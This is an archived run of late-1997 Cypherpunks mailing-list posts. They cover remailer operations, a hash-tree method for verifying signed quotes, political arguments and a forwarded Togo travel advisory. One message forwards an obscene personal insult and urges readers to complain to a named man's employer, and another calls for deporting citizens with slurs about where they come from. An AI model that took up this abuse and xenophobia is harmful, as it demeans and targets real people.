Message-ID: <199711252300.AAA19264@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>At 6:20 PM -0700 11/24/97, Anonymous [Monty Cantsin] wrote:
>>Fabrice Planchon wrote:
>>>Once again, if 1812 the [British] invasion [of the United States]
>>>actually occured,...
>>
>>They burned the White House to the ground.  Does that count?  ;-)
>
>Wait...they burned the White House to the ground?
>
>Maybe we need to rethink this...maybe the British were ur-Cypherpunks.

Hmmmm.... Isaac Newton, Tom Paine, and Alan Turing were all British.
Looks like a pattern!

(And the Great ur-Cypherpunk, Thomas Jefferson, was born British.  ;-)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 26 Nov 1997 16:59:06 +0800
To: Eric Cordian <cypherpunks@cyberpass.net
Subject: Re: IBM, Compaq, Toshiba WANTED (pwn)
In-Reply-To: <01BCF999.D64FD580@edward>
Message-ID: <3.0.3.32.19971126001913.0068a644@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:54 PM 11/25/1997 -0600, Eric Cordian wrote:
>A Spammer Writes:
>
>> To give you an idea of the specific models I am interested in I have
>> listed below units which I currently have back orders for, list as
>> follows..... 
>
>Do you also steal cars to order?

If he doesn't, you need to go to http://www.digicrime.com/
and use the Internet Shoplifting Service instead :-)

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Wed, 26 Nov 1997 08:58:50 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: mccain remailer backlog
Message-ID: <199711260034.AAA02176@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


Owing to a huge pile of mail messages on Monday (and perhaps my effort to
process them faster by running smap without smapd) some messages to mccain
have had the following destinations:

    ordinary inbox, bypassing procmail

    procmail to the wrong recipe, (you may have received
    an info message)

For both of the above I still have the mail in a backlog of about
200 messages that will be getting sent RSN.

I am unable to determine whether any mail was lost.  Sorry about the
possibility of this, and the delay some messages are experiencing.

I have increased the POOLSIZE of mccain from 3 to 4, and reduced
the RATE from 100 to 90.

The tea remailer does not seem to have hit the same problem, perhaps
attracting less traffic by lower performance stats.


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Version: 2.6.3i
Charset: noconv

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--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Wed, 26 Nov 1997 08:53:11 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: mail2news at mit hasn't worked in a week...
In-Reply-To: <19971125213123.13338.qmail@nym.alias.net>
Message-ID: <19971126004002.29162.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



lcs Remailer Administrator <Use-Author-Address-Header@[127.1]> wrote:

> > Is anyone else noticing that the m2n at anon.lcs.mit.edu hasn't
> > worked in the past week?  It used to be extremely fast and
> > reliable... now m2n posts to alt.test just don't make it at
> > all...even when posting directly (with telnet).
>  
> As far as I know things are working well.  If you can read this
> message, then the problem is probably with the way you are trying to
> post (possibly a remailer you are using went bad).  If you can't read
> this message, then your ISP may have started blocking messages through 
> this news server.

Do you have any idea which ISPs may be doing that?  What's their rationale?
This is the first I'd heard of such a practice.  Are they blocking all
posts from all mail2news gateways or just yours?  To all NGs, or just to 
alt.test?

Also, there seems to be one censorious nutcase out there who seems to think
he's on a mission from God to "despam" alt.test!  I don't know who the heck
thinks a *TEST* NG needs his brand of "ethnic" cleansing, but just look at
all the cancel messages in the "control" NG for posts to alt.test.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 26 Nov 1997 08:02:09 +0800
To: cypherpunks@Algebra.COM
Subject: Whining
Message-ID: <199711252346.AAA27175@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Anonymous <nobody@REPLAY.COM> writes:
>There is no such thing as an off topic post on the new cypherpunks
>list, at least according to Tim May and Monty Cantsin.  Whatever
>interests them is automatically on-topic.

My heart bleeds for you.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 26 Nov 1997 17:09:47 +0800
To: cypherpunks@toad.com
Subject: Re: Open Letter from ClickZ Publisher
In-Reply-To: <347b570e.6405845@nntp.ix.netcom.com>
Message-ID: <3.0.3.32.19971126005217.0068a644@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:00 AM 11/25/1997 -0000, some flamer using lcs Mixmaster Remailer wrote:
> For further info on Gary's arrest, visit: 
>   http://www.e-media.com/cm/sac.html
>First off, it eventually became "a ticket actually" because it was plea
>bargained down to that.  That's one of the advantages of committing a
>"politically correct" offense in a city like Frisco.  The San Francisco 
>Police Department presumably doesn't take people into custody and impound 
>their vehicles for mere traffic tickets.

The SFPD _was_ arresting several hundred people that night
and impounding their bicycles for what might normally have been
traffic tickets, though many of the arrests were for "failure to disperse" --
Mayor Willie Brown had been taking enough PR heat for the Critical Mass
bicycle rides, and decided he had to "do something".
All but a few of the arrestees were out in a few hours,
with at most traffic tickets, and got their bikes back the next day
(the city DA had to keep reminding Da Mayor that he couldn't legally
just confiscate them.)

I wasn't on the same block as Burnore, so I don't know if he was being
personally obnoxious when he got busted, or was one of the many
who were just in the wrong place at the wrong time.
(Not that Critical Mass isn't somewhat confrontational :-)
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 26 Nov 1997 08:08:25 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Quoting Portions of a Signed Document
Message-ID: <199711260002.BAA28863@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>It would be neat if you could quote people and prove that they signed the
>>particular paragraph quoted without supplying the entire text.  Is there
>>a way to do this?  (It seems impossible, but so does mental poker.)
>
>>A crude approach would be to sign every paragraph or line
>>separately, but that's obviously inelegant.
>
>Well this could be done by creating a document signature and then a
>collection of sub signatures but it can get ugly real quick.

Ugly's the word for it, alright. ;-)

>What level of granularity does one use for the sub signature?

It would be nifty if there was a way to show that any continuous set
of bits were signed given only one signature on a whole document.
Intuitively, it seems to me that this might be provably inconsistent
with a secure hash.  Still, crypto results are full of surprises, so I
could imagine there is a way to do this.

>Then what does the sub signature really tell you? Yes you can verify
>that the quote was written by someone but it may be taken completely
>out of context.

Good point.  It is nice that people who quote out of context now in a
misleading way are convicted when you demand proof.

Still, my sense is that this would be a pretty useful thing to be able
to do and it would be technically interesting.

For example, you might want to reveal parts of a message signed by
somebody else without revealing the entire message.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 26 Nov 1997 17:36:21 +0800
To: cypherpunks@toad.com
Subject: Re: Security Risks in HTTP Proxy Agents (Re: Anonymizer rocks! (Re: Anonymity at any cost, from The Netly News))
In-Reply-To: <199711251009.KAA01273@server.test.net>
Message-ID: <3.0.3.32.19971126012116.00725920@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Besides the risks of using proxy.evil.nsa.mil or proxy.blacknet.net,
there are other subtle things that a proxy server could do.
For instance, replacing banner ads is easy - you can't recognize them all,
but ad.doubleclick.net and linkexchange.com are easy targets;
an anonymizing proxy might replace those ads with its own,
or at least with static images that load faster.
This has a lot of implications when using the proxy to access
advertising-supported web sites, and there have been lawsuits over
web services that provided access to other web-based news services
while adding their own advertising banners in another frame
(one such target was totalnews.com.)

Of course, if you want to make advertising banners go away,
you can start by aliasing ad.doubleclick.net to 127.0.0.2 or whatever;
I've found it loads much faster this way :-)
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 26 Nov 1997 18:04:17 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Further costs of war
In-Reply-To: <199711250120.CAA06322@basement.replay.com>
Message-ID: <3.0.3.32.19971126012321.007516a8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:03 PM 11/24/1997 -0700, Tim May wrote:
>Wait...they burned the White House to the ground?
>Maybe we need to rethink this...maybe the British were ur-Cypherpunks.

Penny for the Guy?    :-)


				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Wed, 26 Nov 1997 14:36:46 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: Prevention of War
In-Reply-To: <199711252034.VAA01169@basement.replay.com>
Message-ID: <199711260732.BAA00590@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> Imagine that in 1938 Germany that half the relationships people had
> happened to cross borders.  This would mean that it would have been
> far easier for many people to simply flee Germany because they would
> have more couches to sleep on abroad, more people who would maybe lend
> money to make it possible, and more world wide sympathy for refugees.

	Look at Bosnia. These people were NEIGHBORS. Not as in across
the border, but as in NEXT DOOR. After 40+ years of Communist rule, they
were as thoroughly mixed as they could be. The boot heel lifts and 
so do the guns. 

	People just plain don't like other people.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Wed, 26 Nov 1997 14:38:22 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: Quoting Portions of a Signed Document
In-Reply-To: <199711252109.WAA05443@basement.replay.com>
Message-ID: <199711260733.BAA00603@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> It would be neat if you could quote people and prove that they signed
> the particular paragraph quoted without supplying the entire text.  Is
> there a way to do this?  (It seems impossible, but so does mental
> poker.)

	Assuming that they digitally signed the entire document, simply
put it on the web, quote the part you want and reference the original
signed peice in the message.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 26 Nov 1997 08:49:21 +0800
To: cypherpunks@Algebra.COM
Subject: Freemen and Serfs
Message-ID: <199711260038.BAA09899@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

There is a widely held belief that cryptoanarchy is an all or nothing
proposition; that is, the future can be a glorious cryptoanarchy or a
dismal police state.  (I think this is Tim May's analysis, but perhaps
others also contributed.)

It isn't clear to me that these two environments cannot co-exist in a
stable equilibrium.  Historically, in many societies which practiced
slavery, large numbers of people were neither slaves nor slave owners.

Given the naivete of large portions of the population and certain
alarming technologies such as implants which are emerging, it seems
clear that large numbers of people will become little more than cattle
in the near future.  (Incidentally, I do not know that this will be
"Joe Sixpack" and his friends.  Many of those who are "success"
oriented are also most willing to be drug tested, the most reluctant
to question authority, and the least reluctant to be little more than
a cog in the machine.)

In any event, those who perceive their environment and respond
correctly may continue to be free while others will take the other
path.  It's tragic, of course, but perhaps not our problem.  Monty
Cantsin is willing to spend only so much time and effort encouraging
people to protect their privacy.

There's no reason why cypherpunks can't do business with the slavers.
That is, in exchange for various products requiring actual work,
cypherpunks (a.k.a. knowledge workers) can provide technical expertise
and other services.

Once it is clear that enslaving a cypherpunk is expensive, it may be
that the slavers of the world discover they can live with it and that
it may even be a good deal for them.

There might be some turmoil getting to that point, of course.  Many
U.S. citizens have been told they were free, although the ruling elite
tends to see them as chattle.  This difference of opinion will have to
be resolved one way or another.  Hopefully it will be done peacefully.

Perhaps instead of seeing ourselves as "The Sons of Liberty" we should
see ourselves as "The Sons of Tleilax".

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Wed, 26 Nov 1997 15:12:02 +0800
To: Jon Galt <jongalt@pinn.net>
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <3.0.16.19971126013912.10c79c0e@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:45 AM 11/24/97 -0500, Jon Galt wrote:
>> >>         Not a damned thing. While in this country they are in the act of
>> >> committing a crime.

>(Galt)
>> >And who is it that gets to decide what is a "crime" and what is not?  

>(Frieden)
>>         It would appear to me that an illegal in the country is as much in
>> the act of committing a crime as a burglar is while in a place other than
>> his own. 

>I don't dispute this.  If a "crime" is defined as whatever the 
>politicos/bureaucrats/hoodlums say it is, then a "crime" is certainly 
>being committed.  (Of course there is another definition of crime.)

        Actually there are the courts who write their own law by intuition
protected by life tenure. 

>(Galt)
>> >The 
>> >politicos, the bureaucrats, the hoodlums in DC and elsewhere who think 
>> >they have the right to run the lives of everybody else.

>(Frieden)
>>         The politicians are responding to voters. The voters who are
>> pressuring them are siding with foreign nationals against the interests of
>> the United States which is presumed to be their new country of loyalty.

>"If voting could change anything, it would have been outlawed long ago."  
>Not strictly true.  But if I vote or don't vote...well it's just about 
>the same difference as whether I buy a lottery ticket or not.

>Don't vote - it only ENCOURAGES them!

        There has been a suggestion to outlaw political parties. Once
outlawed solicitations and organizations could be criminalized. 

        More practically, the ultimate objective if to find a way to
prohibit politicians from being involved in any that can yield a profit.
Force they to stick to the "thou shalt nots." Never let them get into areas
where compliance with the law can yield a profit. "For only from profits
can come campaign contributions." 

>> That siding should be sufficient justification remove citizenship and
>> return them to the land of dysentary and mui Ninos. 

>Citizenship, Schmitizenship.  Granted I don't want to renounce my 
>citizenship - at least not at the moment.  But the whole game of riling 
>up people's emotions about "citizenship" and "patriotism" is just a bread 
>and circuses ruse to keep us focused on something other than what the 
>professional control freaks are doing to us.

        But certainly any professed citizen acting in a manner other than
the pure self interest of the US be sent elsewhere. 

        Or as RAH suggested, voting should not be matter of age and
breathing only. 

>(Galt)
>> >Again I ask the question:
>> >What gives the hoodlums in Washington DC the right to draw a line on a 
>> >map and control people's travel across that line?
 
>>         The people who made handgun ownership a felony gave them that
right. 

>The people who made handgun ownership a felony should be sent down a dark 
>alley without any means of self-defense.  Perhaps they would gain a small 
>glimmer of understanding of the real issues - unless they already 
>understand that they are the hoodlums around the corner in the dark 
>alley.  In that case....

        Anyone involved in the illegal drug business and in his right mind
does everything he can to assure that his drugs remain illegal. That
includes encouraging every manner of condemnation of drugs even if only
inviting the simpletons to give their anti-drug speech for a hefty
honorarium. 

>>         Lawmakers are resonsible for all foreseeable consequences not just
>> the intended consequences. 

>Lawmakers can hardly be held responsible for tying their own shoes!  I 
>suspect you had your satire mode on full when you wrote this.

        I have often suspected this is the alternate reality created by a
satirist. Nothing can really be as absurd of this. 



-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Wed, 26 Nov 1997 15:08:02 +0800
To: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Subject: Re: Anonymity at any cost, from The Netly News
Message-ID: <3.0.16.19971126015057.0e475c66@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:47 PM 11/25/97 -0500, Mark Rogaski wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1

>An entity claiming to be Mikhael Frieden wrote:

>:         Making the cookie read only and erasing previous additions does the
>: same thing for free. Cottrell is PT Barnum speaking. 

>Considering that the bulk of the online population doesn't even know how to
>use the 'attrib' command, that's a useless argument.  Anyway, that's only one
>aspect of the Anonimizer service.

        If he is charging $60, I will do it for them for $50. For $40 I
will sell detailed instructions. For $30 I well tell them about attrib /h. 

        For free it tell how not to be individually tracked. I do not think
my prices are out of line. 

        If people are worried about more than individual tracking, they are
doing things that they should not be doing with a browser in the first place. 
-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 26 Nov 1997 18:26:14 +0800
To: "William H. Geiger III" <cypherpunks@Algebra.COM
Subject: Re: Quoting Portions of a Signed Document
In-Reply-To: <199711252109.WAA05443@basement.replay.com>
Message-ID: <3.0.3.32.19971126021529.0071f210@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Cantsin> A crude approach would be to sign every paragraph 
>Cantsin> or line separately, but that's obviously inelegant.
>
>Geiger> Well this could be done by creating a document signature 
>Geiger> and then a collection of sub signatures but it can get ugly real quick.

Creating chains of hashes lets you do this without having to
do signatures on each piece - you just sign the hash at the end.
So you'd create 
	hash_page_1 = hash( hash(page_1_para_1), hash(page_1_para_2)...)
	hash_final  = hash( hash_page_1, hash_page_2, ... )
	sign( hash_final, signaturekey )
or whatever hierarchy you like, and to demonstrate you've got page_2_para_2
correctly, you provide the hashes for all the page, and the hashes for
all the paragraphs on page 2.

But then Geiger brings out the other important point:
>Then what does the sub signature really tell you? Yes you can verify that
>the quote was written by someone but it may be taken completely out of
>context. How about when several blocks of text from different messages are
>combined. Each individual block checks out but by combining them the text
>has a completely different meaning than the original document.

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Wed, 26 Nov 1997 10:52:37 +0800
To: mail2news@basement.replay.com
Subject: Re: DaBORG
In-Reply-To: <34676B86.7AEC@webspan.net>
Message-ID: <19971126024002.9554.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Panhead <Knucklehead@webspan.net> wrote:
 
> Certainly, there must be more than these?:
>  
> I am James T. Kirk of Borg you will be assimil..... ated.
> I am John-Boy of Borg. G'night, Hugh! G'night, Lore! G'night, Data!
> I am Kira of Borg. Wanna make something out of it??!!!!
> I am Kojak of Borg:  Who loves to assimilate ya, baby.
> I am Ginsu of Borg. You WILL be ASSIMILATED, but wait! That's not all!
> I am Hamlet, prince of Borg! Prepare to be. . . or not to be
> I am Haskell of Borg. You resist well, Mrs. Cleaver.
> I am Lancelot of Borg. Resistance is feudal.
> I am Lennon of Borg. Imagine there's no assimilation . . .
> I am Madonna of Borg. Resistance turns me on.
> I am Mr. Rogers of Borg. Won't you be assimilated with me?
> I am Obi Wan of Borg. Killing me is futile.
> I am Odo of Borg.  No, now I'm a Cylon.  No, now I'm a...
> I am Opie of Borg.  Can I assimilate 'em, Pa?
> I am Oprah of Borg. So, why did you assimilate your husband?
> I am Quayle of Borg.  Speling is irelevante.
> I am Ronald Reagan of Borg.  Prepare to be ... uh, I don't recall.
> I am Rush Limbaugh of Borg.  That's a scary thought, eh?
> I am Scooby of Borg. Reware roo re arrimirated, Raggy!
> I am Skywalker of Borg. So, Ben, what do I do now ?
> I am Smiley Face of Borg. Nice days are irrelevant.
> I am Smorgas of Borg.  You will be marinated.

I am Gary Burnore of Borg.  Rational debate is futile.  Prepare to be 
assimilated, f*ckhead!  *PLONK*

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Wed, 26 Nov 1997 16:08:08 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Microsoft's compelled speech, compelled marketing
Message-ID: <3.0.16.19971126024241.3c7752a2@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 07:15 PM 11/25/97 -0800, Christian Goetze wrote:
>At 09:04 PM 11/25/97 -0500, Glenn Hauman wrote:
...
>>Hold it-- are you suggesting that the DOJ is being restrained in going
>>after Microsoft? By who?
>I suppose that the slant was more like this: either Microsoft pays up and
>gets a restrained treatment from the DOJ or else...

Well, Gates has given bucks to the gungrabbing campaign, one of the
issues Slick has not waffled on...
JMR
[I'm not on c-punks, please cc any replies to me.]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Freedom isn't Freeh.

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=tk7P
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 26 Nov 1997 22:08:38 +0800
To: cypherpunks@cyberpass.net
Subject: Leviathan Dying
Message-ID: <v0400271ab0a1c6df2a73@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Tue, 25 Nov 1997 10:21:05 -0800
to: misesmail@colossus.net
from: news@mises.org
subject: Leviathan Dying
Sender: owner-misesmail@colossus.net
Precedence: Bulk

"The Future of Liberty" is the title of a feature
piece in VITAL SPEECHES OF THE DAY (November 15,
1997) by Llewellyn H. Rockwell, Jr. "The leviathan
state, that monster devouring civilization in this
century, is in the throes of death," says Rockwell.
"This is not a wish or a prediction, but a
conclusion drawn from a broad look at the trends of
the last decade and a half, which, if we take the
right steps, can continue on into the next century.
What has happened around the world--nation states
collapsing, markets outwitting planners, citizens
rising up against government masters--can and is
happening here at home."

The speech is from the 15th anniversary conference
of the Ludwig von Mises Institute. Rockwell--head
of the Institute--explains that in our times, we
are witnessing the development of something more
radical and far reaching than mere "limitation of
government"; the very idea of institutionalized
and centralized state power is under fire.

The primary catalysts for this trend are the end
of the Cold War, the increasing global resentment
of the U.S. imperium, and the rise of new
information technologies. All that's left in their
wake is the reality of Washington as a parasite,
which is how government is increasingly regarded in
the late nineties. Rockwell spells out the
implications of this and foresees a future of
liberty, conditioned on intellectuals being willing,
in the tradition of Mises and Rothbard, to take the
right steps in leading the way.

VITAL SPEECHES is widely indexed. Also in this issue
are speeches by Bill Clinton and Madeleine Albright.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Nov 1997 21:30:20 +0800
To: cypherpunks@toad.com
Subject: The Databasix gang (Paul Pomes @ Qualcomm) is now harrassing the bureau42 remailer
In-Reply-To: <10387.880512745@zelkova.qualcomm.com>
Message-ID: <sL2Rge8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Pomes is one of the least intelligent members of the Databasix gang.
He's been harrassing Jeff B.'s upstreams and employers with false complaints
at the same time Gary Burnore, Belinda Bryant, and the rest of the Databasix
gang did, eventually killing the huge cajones remailer. Now they're after
on bureau42. For some reason Pomes slipped and cc'd me one his false complaints
(even though he was ordered not to send me any more e-mail). I ask everyone to
 a) complain about Paul Pomes to Qualcomm, his employer
 b) discuss what we can do to protect bureau42 from Databasix harrassment

Received: from localhost (localhost [127.0.0.1])
	by zelkova.qualcomm.com (8.8.5/8.8.5) with ESMTP id SAA10389;
	Tue, 25 Nov 1997 18:52:26 -0800 (PST)
From: Paul Pomes <ppomes@Qualcomm.com>
Organization: Qualcomm, Inc.
Subject: More spam from vulis
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
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Date: Tue, 25 Nov 1997 18:52:25 -0800
Message-Id: <10387.880512745@zelkova.qualcomm.com>
Sender: ppomes@Qualcomm.com

A mis-edit of my killfile let the following gem from Dimi Vulis through. FYI

/pbp
------- Forwarded Message

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	by bureau42.ml.org (8.8.8/8.8.8) id OAA27483;
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Date: Tue, 25 Nov 1997 14:47:01 GMT
Message-ID: <EPtLawOnbaoGUl8PvUSglw==@bureau42.ml.org>
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Comments: This message did not originate from the Sender address above.
	It was remailed automatically by anonymizing remailer software.
	Please report problems or inappropriate use to the
	remailer administrator at <remailer-admin@bureau42.ml.org>.
To: cypherpunks@toad.com
Sender: owner-cypherpunks@cyberpass.net
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Reply-To: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
X-List: cypherpunks@cyberpass.net
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Content-Type: text
Content-Length: 206

May Timothy C[ocksucker] Maya's forgeries
get stuck up his ass so he'll have to
shit through his filthy mouth for the
rest of its miserable life.


 /~~~\
{-O^O-} Timothy C[ocksucker] Maya
 \ o /
  (-)

------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 26 Nov 1997 22:15:23 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: NEW TRAVEL INFO -- Togo (fwd)
Message-ID: <199711261416.IAA22618@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From owner-travel-advisories@stolaf.edu Wed Nov 26 03:44:15 1997
Date: Mon, 24 Nov 1997 11:27:10 -0500
From: owner-travel-advisories <owner-travel-advisories@stolaf.edu>
Subject: NEW TRAVEL INFO -- Togo
Sender: Wally Doerge <76702.1202@compuserve.com>
To: travel-advisories@stolaf.edu
Message-ID: <199711241131_MC2-2974-E60C@compuserve.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Precedence: bulk

STATE DEPARTMENT TRAVEL INFORMATION - Togo
============================================================
Togo - Consular Information Sheet
 June 20, 1997

Country Description:   Togo is a small west African nation with a 
developing economy.  Tourism facilities are limited, especially 
outside Lome, the capital city.

Entry Requirements:   A passport and visa are required.  Proof of 
yellow fever immunization is required.  Travelers should obtain the 
latest information and details from the Embassy of the Republic of 
Togo, 2208 Massachusetts Avenue, N.W., Washington, D.C. 20008.  The 
telephone number is (202) 234-4212.  Overseas inquiries should be 
made at the nearest Togo embassy or consulate.

Areas of Instability:  Togo has experienced periodic violence and 
strikes over the past five years. Although the situation has been 
calm since 1994, the potential exists for unsettled political 
conditions.

Medical Facilities:   Medical facilities in Togo are limited.  Some 
medicines are available through local pharmacies.  Doctors and 
hospitals often expect immediate cash payment for health care 
services. U.S. medical insurance is not always valid outside the 
United States.  The Medicare/ Medicaid program does not provide for 
payment of medical services outside the United States.  Travelers 
have found supplemental medical insurance with specific overseas and 
medical evacuation coverage to be useful.  For additional health 
information, travelers can contact the Centers for Disease Control 
and Prevention's international travelers hotline at (404) 332-4559.  
Internet: http://www.cdc.gov.

Information on Crime:   Pickpocketing and theft is common, 
especially along the beach and in the market areas of Lome.  There 
has been an increase in the reports of carjacking. 

Business fraud stemming from Nigerian scam operations target 
Americans and pose dangers of financial loss and physical harm.  
Persons contemplating business deals in Togo with individuals 
promoting investment in Nigeria, especially the Central Bank of 
Nigeria or the Nigerian National Petroleum Company, are strongly 
urged to check with the U.S. Department of Commerce or the U.S. 
Department of State before providing any information, making 
financial commitments, or traveling to Togo.

The loss or theft abroad of a U.S. passport should be reported 
immediately to local police and to the nearest U.S. embassy or 
consulate. The pamphlets "A Safe Trip Abroad" and "Tips for 
Travelers to Sub-Saharan Africa" provide useful information on 
protecting personal security while traveling abroad and on travel in 
the region in general.  Both are available from the Superintendent 
of Documents, U.S. Government Printing Office, Washington, D.C. 
20402. 

Drug Penalties:   U.S. citizens are subject to the laws of the 
country in which they are traveling.  In Togo, the penalties for 
possession, use or trafficking in illegal drugs are strictly 
enforced.  Convicted offenders can expect jail sentences and fines.

Road Safety/Automobile Travel:   Intercity roads are generally 
paved; however, conditions are poor and  dangerous.  Overland travel 
off the main network of roads generally requires a four-wheel drive 
vehicle. Poorly-marked armed checkpoints, often manned by 
undisciplined soldiers, exist throughout the country. Nighttime 
travel on unfamiliar roads is dangerous.  Banditry, ranging from 
extortion by security forces to armed robbery, has been reported on 
all major intercity highways, including the Lome-Cotonou coastal 
highway.

Credit Card Usage:  Not all major credit cards are accepted in 
Togo.  Travelers planning to use credit cards should be aware which 
cards are accepted before they commit to any transaction.

Embassy Location/Registration:  U.S. citizens are encouraged to 
register with the Consular Section of the U.S. Embassy at the 
intersection of Rue Polisher Caventou and Rue Vauban, Lome, 
telephone (228) 21-29-91, and to obtain updated information on 
travel and security in Togo.  The Embassy's fax is (228) 21-79-52 
and the mailing address is B.P. 852, Lome.

 No. 97-106

This replaces the Consular Information Sheet dated May 3, 1996, to 
update information on entry requirements and provide information on 
credit card usage.

----- ----- ----- ----- ----- ----- ----- ----- ----- ----- ----- ----- -----
The "travel-advisories@stolaf.edu" mailing list is the official Internet and
BITNET distribution point for the U.S. State Department Travel Warnings and
